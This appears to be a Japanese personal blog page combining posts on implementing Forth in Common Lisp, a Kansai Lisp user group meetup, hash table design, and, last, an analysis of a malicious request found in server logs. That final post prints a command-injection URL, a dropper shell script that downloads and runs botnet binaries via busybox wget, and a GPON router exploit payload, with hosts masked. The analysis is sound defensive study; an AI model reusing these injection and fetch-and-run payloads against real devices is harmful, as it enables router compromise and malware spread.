Forthを実装する
Forthを実装する
スタックベース変数いらずのふしぎなプログラミング言語、ForthをCommon Lispで実装しました。というか絶賛開発中のufというもので、これです。
執筆時点で
- 整数値のパース
- 基本的なスタック操作命令と出力
- ワード(Forthにおける関数)の定義と呼び出し
- 条件分岐
- 不完全な(なんだかバグい)REPL
ができます/あります。フィボナッチ数の計算ができるところまでは確認しました。
動機
先日、自作Lispのためハッシュテーブルの実装について考えたと書きました。
そのLispは抽象機械で実行されるタイプにしようと思って考えているのですが、肝心なVMの設計のしかたや感覚がどうにもわからない。じっさいのCPUみたいなものを考えだすと、それはそれでどうもちがうようです。そこで「ほぼ機械語」「スタックマシンみたいなもの」という評の言語があり、名をForthといい、それを覚えてみればいろいろ見えてきそうだなあと思ったため、実装してみました。
実装言語は手慣れているのでCommon Lispにしました。
Forthとは
Forthは、空白で区切られたアトムと呼ばれる構文単位からなるプログラムと、データのやり取りに使うデータスタック、それと他の言語における関数に相当するワード(値ではないアトム)――これは処理の本体を指す――、とその戻りスタック、で構成されたプログラミング言語です。
特徴として、プログラムのほとんどが何かの関数名で構成され、オペランドがないためコードサイズがとても小さくなる、ということがよく言われます。
どうもこの言語、かなり変わったしくみと見た目をしているだけでなく、ANSI、そしてISOで仕様が定められている程度には利用されているようです。最新のForthの仕様は2012年のもの! すごいですねえ。
構文
Forthの構文は非常にシンプルで、スペース区切りで命令を並べていくだけです。実際のForthには文字列やコメントなど、一部のものについてパーサが特別扱いする要素があります。が、今回実装したオレオレForthにはそのようなものはまだ実装されていないので、スペース区切りでトークンが並んでいるものとして差し支えありません。
コード例は以下のような感じです(ただしオレオレ処理系にコメントはありません):
\ 1+2を出力 2 1 + . \ あたらしいワード `<=` (less than or equal)を定義 \ ちなみにForth 2012の規格とは引数の順序が異なる : <= over over < rot swap = or ; \ 上で定義した `<=` を実行して結果を出力(Forthでは-1が真値) 2 1 <= .
意味論
Forthは意味論もとてもシンプルです。Forthにおける切り出されたトークンはアトムとよばれ、アトムには定数とワードの二種類があります。コードを実行するとき、解釈しようとしているアトムがディクショリナリに登録されたワードである場合、そのワードの処理が実行されます。そうでなければ定数としてスタックに積まれます。それだけです。
それまでに登録されているワードを使って新たなワードを自分で定義することができ、そうやって実行環境を拡張しながらプログラムを書いていくのがForthの特徴です。
実装
さて、とりあえずまずは動くものがほしかったので、最小限の要素で実装してみます。とりあえずインタプリタとしてフィボナッチ数が計算できるくらいまでの規模を目指します。
まず、(実装して)用意するものはパーサです。まあこれは「ストリームから一文字ずつ読んでいってバッファに溜めていき、空白やEOFなどの終わりが来たらシンボルの形でプログラムリストに追加」をやるだけです。数値型が使えると電卓になっていいので、とりあえずCommon Lispの整数型に対応させてみました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L26 (defun parse (stream) (let (code buf atomp numberp) (flet ((read-atom (ch) (unless atomp (setf atomp t) (when (digit-char-p ch) (setf numberp t)) (setf buf nil)) (unless (digit-char-p ch) (setf numberp nil)) (push ch buf)) (terminate-atom () (when atomp (setf atomp nil) (let ((s (concatenate 'string (nreverse buf)))) (if numberp (push (parse-integer s) code) (push (intern s :uf/dict) code)))))) (loop :for ch := (read-char stream nil :eof) :until (eq ch :eof) :do (case ch (#\space (terminate-atom)) (#\newline (terminate-atom)) (t (read-atom ch))) :finally (progn (terminate-atom) (return (nreverse code)))))))
つぎに評価器、というか解釈器ですが、その前に必要なオブジェクトを構造体として定義しました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L55 (defstruct word name fn start system-p) (defstruct vm code ip dict stack rstack ifdepth skip-to debug-p) (defparameter *dictionary* nil) ;; vmのディクショナリから現在指している箇所のアトムを拾う (defun get-atom (vm) (prog1 (nth (vm-ip vm) (vm-code vm)) (incf (vm-ip vm))))
word
構造体は名前と、システム定義のワードの場合は本体の関数、ユーザ定義の場合はコード中のエントリポイントを格納します。あと、実行状態をvm
構造体として定義しました。実行対象のコードそのもの、プログラムカウンタ(ip
)、ディクショナリ、データスタック(stack
)、ワード呼び出しのスタック(rstack
)、条件分岐ワードif
のネストの深さ(ifdepth
)、if
でスキップするときの状態……。これだけの情報があれば、途中からプログラムを再開できそう。できるといいなあ。*dictionary*
はデフォルト状態のディクショナリを保持しておき、vm
を作るときにコピーする運用としたいと思います。
解釈器の前にもうひとつ、ワードの定義処理も書いておきます。ワード定義のためのワード:
がきたらここに飛ぶようにします。定義は、名前(:
の次のワード)を覚えておき、ワードのコード開始位置を覚えたあと、定義終わりのワード;
まで読み飛ばします。この実装ではシステムのワードを上書きできないようにしてあります。また、ディクショナリは本来線形リストにするものらしいですが、めんどくさかったのでCommon Lispのパッケージをひとつ、処理系実行用に当てています。あまりよくないかも…。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L70 ;; compilationの萌芽かな…? (defun define-word (vm) (let ((name (get-atom vm))) (when (null name) (error "invalid word definition : it doesn't have a name.")) (let ((start-pos (vm-ip vm))) (loop :for atom := (get-atom vm) :until (eq atom 'uf/dict::|;|) :do (when (null atom) (error "invalid word definition '~a': it doesn't have ';'." name))) (let ((word (make-word :name name :system-p nil :start start-pos))) (let ((w (find name (vm-dict vm) :key #'word-name))) (if (and (not (null w)) (word-system-p w)) (error "cannot overwrite the predefined word: ~s" name) (push word (vm-dict vm))))))))
そして、解釈器本体です。コードはとても長いというわけではないので意を決して貼ります。
やっていることはとっても単純で、ワード定義の:
や;
、条件分岐のif
、else
、then
を特別扱いしつつ、そのいずれでもなかった場合は、ディクショナリからのワード探索を行なう、というふうにしました。(vm-skip-to vm)
で分岐してスキップのときの処理と、通常の解釈のときの処理を分けていますが、これはif
のためです。ワード定義はネストされませんが、if
はネストされる可能性があります。そのため、if
の深さを見ながら不要な部分をスキップする処理が、スキップ部分の処理です。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L87:embed:cite ;; interpretationの萌芽かな…? (defun execute (vm) (loop :for atom := (get-atom vm) :until (null atom) :do (when (vm-debug-p vm) (format t "; name = '~a', stack = ~s, ifdepth = ~s, skip-to = ~s~%" atom (vm-stack vm) (vm-ifdepth vm) (vm-skip-to vm))) :if (not (null (vm-skip-to vm))) :do (cond ((eq atom 'uf/dict::|if|) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((and (eq (car (vm-skip-to vm)) :false) (= (1+ (cdr (vm-skip-to vm))) (vm-ifdepth vm))) (setf (vm-skip-to vm) nil)))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `then`") (progn (decf (vm-ifdepth vm)) (when (= (vm-ifdepth vm) (cdr (vm-skip-to vm))) (setf (vm-skip-to vm) nil)))))) :else :do (cond ((eq atom 'uf/dict::|:|) (define-word vm)) ((eq atom 'uf/dict::|;|) (if (null (vm-rstack vm)) (error "invalid syntax: reach ';' with empty rstack.") (setf (vm-ip vm) (pop (vm-rstack vm))))) ((eq atom 'uf/dict::|if|) (unless (= (pop (vm-stack vm)) -1) (setf (vm-skip-to vm) (cons :false (vm-ifdepth vm)))) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((null (vm-skip-to vm)) (setf (vm-skip-to vm) (cons :true (1- (vm-ifdepth vm))))))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `else`") (progn (decf (vm-ifdepth vm)) (when (and (vm-skip-to vm) (> (vm-ifdepth vm) (cdr (vm-skip-to vm))))) (setf (vm-skip-to vm) nil)))) (t (let ((word (find atom (vm-dict vm) :key #'word-name))) (if word (if (word-system-p word) (funcall (word-fn word) vm) (progn (push (vm-ip vm) (vm-rstack vm)) (setf (vm-ip vm) (word-start word)))) (push atom (vm-stack vm))))))))
あとは、基本的なワードを定義するのみですが、これにはそこそこ長いコードを毎回書かなくてはならずめんどうです。そこでマクロdefword
を書いて楽をしました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defmacro defword ((name) &body body) (let (($fn-name (intern (format nil "word:~a" (symbol-name name)) :uf/dict)) ($word (gensym "uf"))) `(progn (defun ,$fn-name (vm) (declare (ignorable vm)) ,@body) (let ((,$word (find ',$fn-name uf/core:*dictionary* :key #'word-name))) (if ,$word (error "word ~s is already registered" (word-name ,$word)) (push (make-word :name ',(intern (symbol-name name) :uf/dict) :fn (function ,$fn-name) :system-p t) uf/core:*dictionary*))))))
それによって定義されたのが、標準出力にスタックトップの値を出力するこんなワードです。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defword (|.|) (format t "~a" (pop (vm-stack vm))))
これで、以下のようにしてフィボナッチ数を計算できるようになりました。
やったー! 自作Forthでフィボナッチ数を計算できたぞー! pic.twitter.com/Z2pUZDgZvw
— t-sin (@sin_clav) 2018年10月18日
感想
かなり小さなコードで動くものが書けるというのがForthすごいところです。たぶんパーサが簡単な分、Lisp処理系よりも簡単なのではないでしょうか。たぶん実用的にするのにも、基礎ができたらあとはワードを充実させるだけで対応可能っぽいので、DSLにするのにもいいかもしれないです。
ただ、ifの実装はスタック的な走査を生でゴリゴリ書かないといけないので、ちょっと面倒くさいです。今回の実装では力技で乗り切りましたが……。
これから
ufの実装は、if
の実装がちょっと汚く、これを如何とすべきか、というところがひとつ。解決の方針としては、そもそもif
を解釈しないという方針がありそうです。Forthの仕様書によれば処理系の状態はexecution、interpretation, compilationの3つあるそうですが、if
の項目を見ると、ワード定義の間(ここをcompilation modeというらしい…?)でしか使えないことが書かれています。バイナリコードにコンパイルするときに、ジャンプ先を解決してしまい、実行時にはジャンプ命令で済ませてしまう、というのがおそらく本来の実装方法のようです。なので、まずは仕様書を読み込むかLET OVER LAMBDAを読んでそのあたりを勉強してみようと思います。
また、フィボナッチ数列を計算できたけど、もっと実際的なプログラムに使ってみたいので、なにか用途を考えなくてはならないなあと思いました。弾幕STGとか、そういうものの低レベル組み込み言語とかにしてみると楽しいかもしれません。
関係ないけど
wlをVM型にするの、どうしようかなー。必要ないといえば必要ないけど、似非コンパイル(VM機械語とVMのセット)ができそうなのでやりたいとも思っており。なやましいですね。
第7回関西Lispユーザ会に行ってきた
その昔、Lispを実行することに特化したマシンがありました。Lispマシンと呼ばれたそのマシンは、当時の人工知能ブームの後押しを受けて盛んに製作されていたそうです。MIT AIラボのCONSマシンやCADRマシン、それに日本でもいくつかつくられたようです。
Lispが好きでたまらない人間には夢のようなマシンです。いろんなLispマシンの記事を読んでいると、Lispを実行するための高速化の方法とか、OS自体がLispで書かれていてREPLでOSを直接設定できるとか、ほんとうに夢のよう。
ところで神戸大学には、そこでつくられたLispマシンが飾られている場所があるらしいです。日本でつくられて、それも高性能だったLispマシン、一度はこの目で見てみたいなーと考えていました。
そんなところに第7回関西Lispユーザ会の開催告知が。神戸大学で、Lispマシンの開発者である先生をお招きして、Lispマシンの見学会まであるですって。
これは見に行かないと人生損だなよ。
……そんなわけで、第7回関西Lispユーザ会に行ってまいりました。
関西Lispユーザ会とは
関西Lispユーザ会は、関西でLispを使う人たちの集いの場です。Lispってたのしいんだよ、ということを広めていくためにOpen Source Conferenceに出典したり、今回のように発表の場を設けたり、このごろはもくもく会を開催したり、と精力的に運営されています。
この日のイベントスケジュールは以下を参照していただきたいのですが、会場は神戸大学の講義室の一室でした。いいキャンパスでした。
kansai-lisp-useres.connpass.com
また余談ですが、神戸大学出身の知り合いから聞いていた事実がつぎつぎに証明されていくのでとても楽しかったです(大学までが登山(ほんとに坂がきつい)、イノシシが出る(ウリボーロードという道がある)、など)。
会では、発表(LT, Lisp Talkの略)の合間に休憩があって直前の内容について議論したり雑談があったりというのは新鮮だなーと感じました。とはいえ、shibuya.lispのLisp meetupでも発表者入れ替わりの合間に雑談は入るので、関西弁によるノリが新鮮だったのでしょうか。
発表
Past and Future of CG on Lisp
まずはympbycさんによる、Lispとコンピュータグラフィックスの話です。
Lispといえばだいたい「人工知能」「Webアプリケーション(Paul Graham)」「ゲーム(クラッシュバンディクー)」と認識されることが多いですが、じつはコンピュータグラフィックスの言語だったこともある、というふうに話が始まります。SymbolicsがCGの部署をもっていたり、Lispで3Dモデルの作成やそれによるアニメーションの製作に使われていた時代もあったよね、と。
しかし、いまは
Lisp CGの冬 (1999~現在)
GPUの進化により並列で行列計算を行い、昔はレンダリングするのに何十時間とかかっていたレイトレーシングも、いまやリアルタイムでできるようになりました。いまやモデルそのものアニメーションそのものをすべてシェーダで生成してリアルタイムレンダリングする時代です(参考: shadertoy)。そんな「冬」の時代のコンピュータグラフィックスとは……。
シェーダをLispで書く
それを実現するのが、このライブラリ、CEPL。
このライブラリは、Common Lispのマクロで記述されたLispっぽいコードを、OpenGLのシェーダ言語GLSLにコンパイルし、REPLからシェーダを書いてOpenGLの中へつっこむことを可能とします!!
たとえばこれは、リアルタイムで描画されるLispエイリアンのデモ動画です。
たとえばこれは、実装途中のものですがレイトレーシングです。屈折・反射をリアルタイムで描画しています。もちろんCommon Lispで!!
おもしろいですね。ちなみに応用としては以下のようなものが考えられるそうです:
- 物理シミュレーション
- ライブコーディング
- GLSLをエクスポートして…
- Unityで利用
- shadertoyに投稿
- 科学計算
すごいですね。ぼくはShadertoyにアカウントつくろうとしたらそのときの貰いものGPUが古くてできなかった苦い思い出をお持ちなので、こんどこそトライしてみようと強く感じました!
ところで、おもしろかったのがympbycさんが過去にされていたことで、Haskellの影響を受けたカリー化された関数によって特殊形式が存在しないLisp処理系Carrotや、Serial Experiments Lainに出てくるCommon Lispコードを特定した記事、Smalltalk勉強会に行っていた話(その人が歴史、みたいな人がいる)、3Dプリンタをピックアンドプレースマシンに改造した、などがありました。つよい。
Julia is your friend
つぎはfu7mu4さんの、プログラミング言語Juliaの話です。
www.slideshare.net
Juliaといえば、科学計算向けの動的言語で、Nimのライバル(ではない)ですね。発表によると、Juliaを開発した動機にはいろいろなものが挙げられていますが、とくに(Lisperに)強調しておきたいのは、
Lispのような真のマクロが使える同図像性のある言語
という点です。これは、これは。Lispじゃん? ねっ? という。なので、Lisp使いには親和性が高い言語なのです、と続きます。
具体的には、シンボルがあり、式を表現するオブジェクトを生成・操作できてしかもS式っぽいかたち。そして、式を表現するオブジェクトがあるのなら、それを返す式だってあるよねということで式変換ができ、それならコンパイル時に実際に式変換を適用するこができるよねということでマクロが登場し、Juliaは完全にLisperに対してフレンドリーです。この言語、ちょっと触ってみたいなと感じました。
ちなみにNimとJuliaのマクロまわりの違いについてのぼくの印象は以下のような感じ:
JuliaとNimだと、Juliaのほうがマクロシステムは綺麗だなあ。
— t-sin (@sin_clav) October 13, 2018
NimだとASTのノード(変数、if文、……)をひとつずつインスタンス化していく形。JuliaはクオートされたリストをExprオブジェクトにする、という形。
— t-sin (@sin_clav) October 13, 2018
神戸大学Lispマシン、FAST LISPとAIに関わる私的技術史
そして最後に、FAST LISPを開発された瀧和男先生によるお話です。
高校生のころから電子工作をされご自分でコンピュータをつくってきたという流れの7番目に位置付けられる、FAST LISPマシン。開発の動機としては次のようなことを述べられていました(意訳):
ビットスライス・プロセッサ(Wikipediaの記事)という、新しいしくみのプロセッサが当時発表され、これをつかった独自のコンピュータをつくってみたいと考えていた。その一方でMITでは、Lispマシンが開発され話題になっていた。そこで、ビットスライス・プロセッサを使ってLispマシンをつくってみたいと思った。
ハードウェア・ソフトウェア両面の実装の苦労話等を設計図とともにお話いただいたのですが、ぼくはハードウェアのほうがからっきしだったため、記憶にあまりのこっておらず…。ただ、インタプリタのコードの雰囲気は、実装したことがあるのでなんとなく覚えていますが…。もっと頭に叩き込んでおけばよかった…。
そしてLispマシンの話へ。MITのCONS、CADRマシンがつくられてSymbolics社とLisp Machine社に分かれた話とか、一方でXeroxのInterlispとか、さらに一方日本のLispマシンのとくにFAST LISPの系譜に連なるFACOM α(富士通)やELIS(電電公社)に言及がありました。ここらへんの話はとっても興味があるので、一冊の本になったりするとぼくは超絶よろこびます。
そして第五世代コンピュータに関わった話やベンチャー企業の社長をやった話を経て、現在やっている人工知能の応用プロジェクトの話に移ります。現在の人工知能分野には二つの系統があり、ひとつは機械学習や深層学習の系統のパターンを処理する人工知能と、エキスパートシステムやパズル・ゲームの対戦などの、ルール記述と論理推論によって記号を処理する人工知能がある、とのことでした。現在はパターン処理系のAI分野の成功が華々しいですが、これからはパターン処理と記号処理の境目に応用の爆発が起こるだろうと瀧先生は言います。
ぼくはちょうど、対話システムを開発する会社に身を置いているのでこのあたり、とても面白く話を聞いていました。
FAST LISPの見学
瀧先生のお話のあとは、FAST LISPの実機を参加者一同で見学です。道中、神戸大学の施設について瀧先生に解説いただきながら向かいました。
ここからは(たまたま)(動物を撮るために)カメラを持っていっていたので、その写真です(しかし、ISO感度の設定をミスっていて、とってもノイズが乗っていて涙目…)
まずは前面外観。これですよ! これがLispマシン!! FAST LISPです!!
前面には上から、インタプリタの内部状態と電源操作をするためのパネル、CPUのユニットが横一列に並んている区画、メモリのユニットが並んでいる区画があります。メモリユニット区画の下にあるRamda-16
ってなんだったか…設計図とともに説明があり、たしかFAST LISPをコントロールする用のなにかだったような気がするのですが…思い出せない…。
ちなみにCPUとメモリの電子部品は手ではんだ付けされたそうです。
フロントのパネルに寄った写真です。7
は七代目の瀧先生のコンピュータだから、だそうです。FAST LISPでは処理系が利用するスタックがソフトウェアではなくハードウェアで実装されていたので、当時としては速くプログラムを実行できたのではないか、と考察されていました。
そしてFAST LISP
の文字やLISP MACHINE SYSTEM
、TAKITAC 1979
の文字は業者に依頼したというのではなく、ご自分で写されたそうです。なんだか「ステンシル」というワードが聞こえましたがくわしくないのでよくわかりません。
あっ。ステップ実行とかどうやって操作するんだろうとあの場では思ってたんですが、右下にちゃんとRUN
/STEP
のスイッチがありますね。なるほどー。
懇親会
懇親会は阪急・六甲駅そばの中華のお店、六甲苑というところでした。神大出身の友人に話したら、神大の飲み会とかでもよく利用されるお店のようでした。そこで中華を頂きながら、ぼくは言語を作ろうとして低いところに下りていってるけどよくわからん、あとハードウェアよくわからんという話をしてました。そのときわかりやすくていいよと教えてもらったのがこの本です:
それにハードウェアやるならChiselというハードウェア設計言語も触ると楽しいよと教えていただきました。Chiselで書いてシミュレータ走らせるといいよ、と。
あとは法哲学や法学のことを聞いたり、LispとCGの発表をされていたympbycさんとGLSLをLispですごいですねとお話をしたり、いろいろなお話ができました。
おわりに
神戸大学のLispマシン、FAST LISPについての回ということで関西にお邪魔したのですが、それだけでなく、関西のLisperの方々に相手をしていただけたり、たのしいお話を聞けたりと、とても刺激になった関西Lispユーザ会でした。
また一年後くらい(かそれ以下か)、ぜひまた遊びに行こうと思いました。
そういえば最近Forthを実装して遊んでるのですが、
Forthがふしぎすぎてよくわからんという話をcxxxrさんにしたら、Let Over LambdaではForthを実装する箇所があってForth入門にいいですよ、と教えてもらいました。そういえば目次にForthあった気がしたなあ、読むか。
ハッシュテーブル考
このごろ、ハッシュテーブルの実装について考えていました。
それはひとつに「Common Lispでいつも使っているハッシュテーブルってどうなっているの?」という疑問があり、もうひとつには「オレオレLispを実装するときホスト言語によってはハッシュテーブルがないことがあり、自分で実装する必要がある」という思いがありました。
そこでハッシュテーブルってどのように実装されているのだろうということをちょっと調べてみた、というわけです。
そもそもハッシュテーブルとは
じつはここまでで言っていた「ハッシュテーブル」と、データ構造の本に載っている「ハッシュテーブル」は異なります。
前者の「ハッシュテーブル」は、キーとそれに対応する値を格納するための、最近の言語ではデフォルトで提供されているデータ構造です。こんなやつ:
>>> dic = {} >>> dic {} >>> dic['test'] = 42 >>> dic {'test': 42}
「連想配列」(Perl)、「ハッシュマップ(あるいはマップ)」(Java、JVM系言語)、「ディクショナリ」(Python)、などと呼ばれるものです。以降この記事ではPythonに倣ってディクショナリと呼ぶことにします。
後者の「ハッシュテーブル」は、格納可能な値の数が大きいが実際に格納される値の数はそれほど大きくない、というようなデータを効率的に格納するためのデータ構造です。データ構造とアルゴリズム、というような書籍や大学の講義で、見たことがある人もいると思います。以降この記事ではハッシュテーブルと呼ぶことにします。
前者のハッシュテーブルの実装に際して後者のハッシュテーブルを用いるため、どちらもハッシュテーブルと呼ばれるのですかね。
なので、冒頭で考えていた内容はこういうことになります:
ディクショナリってどうやって実装するんだろう?
まずは、その実装に必要な概念であるハッシュテーブルのことを思い出すことにします。
ハッシュテーブル
ハッシュテーブルは、格納可能な値の数が大きいが、実際に格納される値はそれほど多くないようなデータを格納するのに適したデータ構造です。格納対象の値をハッシュ値という整数値に変換し、事前に用意した配列のハッシュ値の位置に値を格納する、ということをします。これにより値の取り出しの計算量がO(1)と非常に効率がよいです。
このハッシュテーブルでは、ハッシュ値を計算するための関数「ハッシュ関数」をどのように選ぶかが、効率を左右します。異なる値のハッシュ値が同一になってしまった場合、重複をうまく処理する必要があるため、なるべくダブらず値の格納位置が配列内に均等にバラけるようなハッシュ関数を選ぶ必要があるのです。
単純な例として、整数を格納するハッシュテーブルを考えます。ハッシュ関数はテーブル長の剰余を取る関数を選びました。
#define TABLE_SIZE 256; static int table[TABLE_SIZE]; int hash(int v) { return v % TABLE_SIZE; }
このテーブルに値を格納するときは、こうします:
int main(void) { int value = 42; int hash_code = hash(value); table[hash_code] = value; return 0; }
値の取得は、こうです+
int main(void) { int value = 42; int hash_code = hash(value); printf("%d\n", table[hash_code]); return 0: }
ちなみにこの方法ではハッシュ値が同じ別の値があったときに、別の値で元の値が上書きされてしまいます(ハッシュ値が衝突する、といいます)。その対策は二つ(配列の要素をリストにする、すぐ隣に格納する)ありますがここでは詳しく書きません。こちらの本を参照してください。
みんなのデータ構造(紙書籍+電子書籍)www.lambdanote.com
ディクショナリだ!
上のハッシュテーブルの例はキーと値が同じなのでつまらない例でした。これを使ってディクショナリを実装するにはどうしたらよいでしょう。ハッシュ値の衝突時、同一ハッシュ値の異なる値を探索するため、値にはキーそのものが入っていなければなりません。いっぽうでディクショナリでは下記のように、キーに対して異なる値を格納するのが目的でした:
>>> dic = {} >>> dic {} >>> dic['test'] = 42 >>> dic {'test': 42}
どうすればよいのかわからなかったので(ここで数日悩んでしまったので)、Pythonのディクショナリの実装を覗き見てみました。
- https://github.com/python/cpython/blob/master/Include/dictobject.h
- https://github.com/python/cpython/blob/master/Objects/dict-common.h
値にハッシュ値とキー値を一緒に入れてしまいましょう、が答えでした。
したがって、最近開発を始めたばかりのC言語によるLisp実装のシンボル-値テーブルは、調査の結果このようになりました:
int hash(const char* name); typedef struct { int hash; WlSymbol* symbol; } WlSymTableEntry; typedef struct { WlSymTableKey** key_table; WlObject** values; int item_count; int not_null_count; int d; // hash_table.length = 2^d } WlSymTable;
https://github.com/t-sin/wl/blob/066e12919810d7c7aa31ce713d52690ec021a86b/wlsym.h より
余談
ところでPythonのディクショナリの実装、上でいうWlSymTableEntry
にそのまま値を持つcombinedな形と、上のWlObject** values
のように別で値を持つsplitedな形と二種あるようです。このドキュメントを見るとキャッシュヒット率が関係していそうな感じなのですが、英語力が低すぎてよくわからない…。
https://github.com/python/cpython/blob/master/Objects/dictnotes.txt
Nikoに届いていた謎のリクエストを分析する
Nikoに届いていた謎のリクエストを分析する
Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました(被害者かもしれないので、いちおう出てくるIPは隠しています):
xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"
パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。
なので、ちょっと調べてみることにしました。
あやしいURL
まずはリクエストのURLを見てみましょう。
/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$
いくつかの文字はURLエンコードされていますが、wget
の後になぞのURLとか、/tmp/xd
とか、sh
みたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgi
にcli=...
でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'
とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:
$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$
でました! aa[ESC]aa
の後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd
があり、最後に$
で終わっています。このaa[ESC]aa
と$
はちょっとよくわからないですが、wget
してなにかを取得して/tmp/xd
に保存し、それを実行しているのがわかります。
あやしいスクリプト
では、このdlink
とはなんなのか。実際に取得してみましょう。
$ curl -v http://yy.yy.yy.yy/dlink * Trying yy.yy.yy.yy... * TCP_NODELAY set * Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0) > GET /dlink HTTP/1.1 > Host: yy.yy.yy.yy > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 23 Jul 2018 23:10:36 GMT < Server: Apache/2.4.10 (Debian) < Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT < ETag: W/"10e-571b41599b480" < Accept-Ranges: bytes < Content-Length: 270 < #!/bin/sh n="mips.gemini mpsl.gemini arm7.gemini" http_server="yy.yy.yy.yy" for a in $n do cd /tmp busybox wget http://$http_server/sister/$a -O -> /tmp/$a busybox chmod 777 /tmp/$a /tmp/$a selfrep.dlink done for a in $n do rm -rf /tmp/$a * Connection #0 to host yy.yy.yy.yy left intact done
中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlink
と引数を与えると、自己複製して撒き散らしそうな感じです。
ちなみに上のサーバから、いまはdlink
というファイルは消えています。感づかれたのかな。でもなぜか/
にアクセスしたらApacheのディレクトリ内ブラウズができる状態だったので、/sister/
以下のファイルはすべて取得してみました。x86.gemini
とかあって、こわい。
sister$ ls -l 合計 800 -rw-r--r-- 1 grey grey 47356 7月 24 12:13 arm.b.gemini -rw-r--r-- 1 grey grey 55764 7月 24 12:13 arm.gemini -rw-r--r-- 1 grey grey 47388 7月 24 12:13 arm5.b.gemini -rw-r--r-- 1 grey grey 46896 7月 24 12:13 arm5.gemini -rw-r--r-- 1 grey grey 118319 7月 24 12:13 arm7.b.gemini -rw-r--r-- 1 grey grey 129065 7月 24 12:13 arm7.gemini -rw-r--r-- 1 grey grey 43188 7月 24 12:13 bin.gemini -rw-r--r-- 1 grey grey 59364 7月 24 12:13 mips.b.gemini -rw-r--r-- 1 grey grey 71824 7月 24 12:13 mips.gemini -rw-r--r-- 1 grey grey 60804 7月 24 12:13 mpsl.b.gemini -rw-r--r-- 1 grey grey 72864 7月 24 12:13 mpsl.gemini -rw-r--r-- 1 grey grey 47792 7月 24 12:13 x86.gemini
あやしいELF
ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。
まず、とりあえずreadelf
でバイナリフィアルのヘッダを見てみました。
$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)' ファイル: arm.b.gemini セクションヘッダサイズ: 10 ファイル: arm.gemini セクションヘッダサイズ: 10 ファイル: arm5.b.gemini セクションヘッダサイズ: 10 ファイル: arm5.gemini セクションヘッダサイズ: 18 ファイル: arm7.b.gemini セクションヘッダサイズ: 29 ファイル: arm7.gemini セクションヘッダサイズ: 29 ファイル: bin.gemini セクションヘッダサイズ: 13 ファイル: mips.b.gemini セクションヘッダサイズ: 13 ファイル: mips.gemini セクションヘッダサイズ: 13 ファイル: mpsl.b.gemini セクションヘッダサイズ: 13 ファイル: mpsl.gemini セクションヘッダサイズ: 13 ファイル: x86.gemini セクションヘッダサイズ: 10
なんとなくarm
に力点が置かれており、とくにarm7
かそうでないかでコードの複雑さが違うっぽいような気がします。
あやしいarm7.gemini
arm7
を感染させることが大事っぽいので、ここではarm7.gemini
を解析対象とします。
とりあえずまずは、strings
で文字列を見てみましょうか。
$ strings arm7.gemini | head JR** gfff@ @ #! !1C " POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Gemini/2.0 Accept: */* Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0
おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。
つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:
$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym $ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das
arm7.gemini.das
を覗くと、以下のようなかんじです(長いので、下に載せます)。
なんだか<attack_*>
とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、gre
というのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。
下のほうにいくと<main>
があって(エントリポイントですかね!)、さらにいくと<memcpy>
とか<malloc>
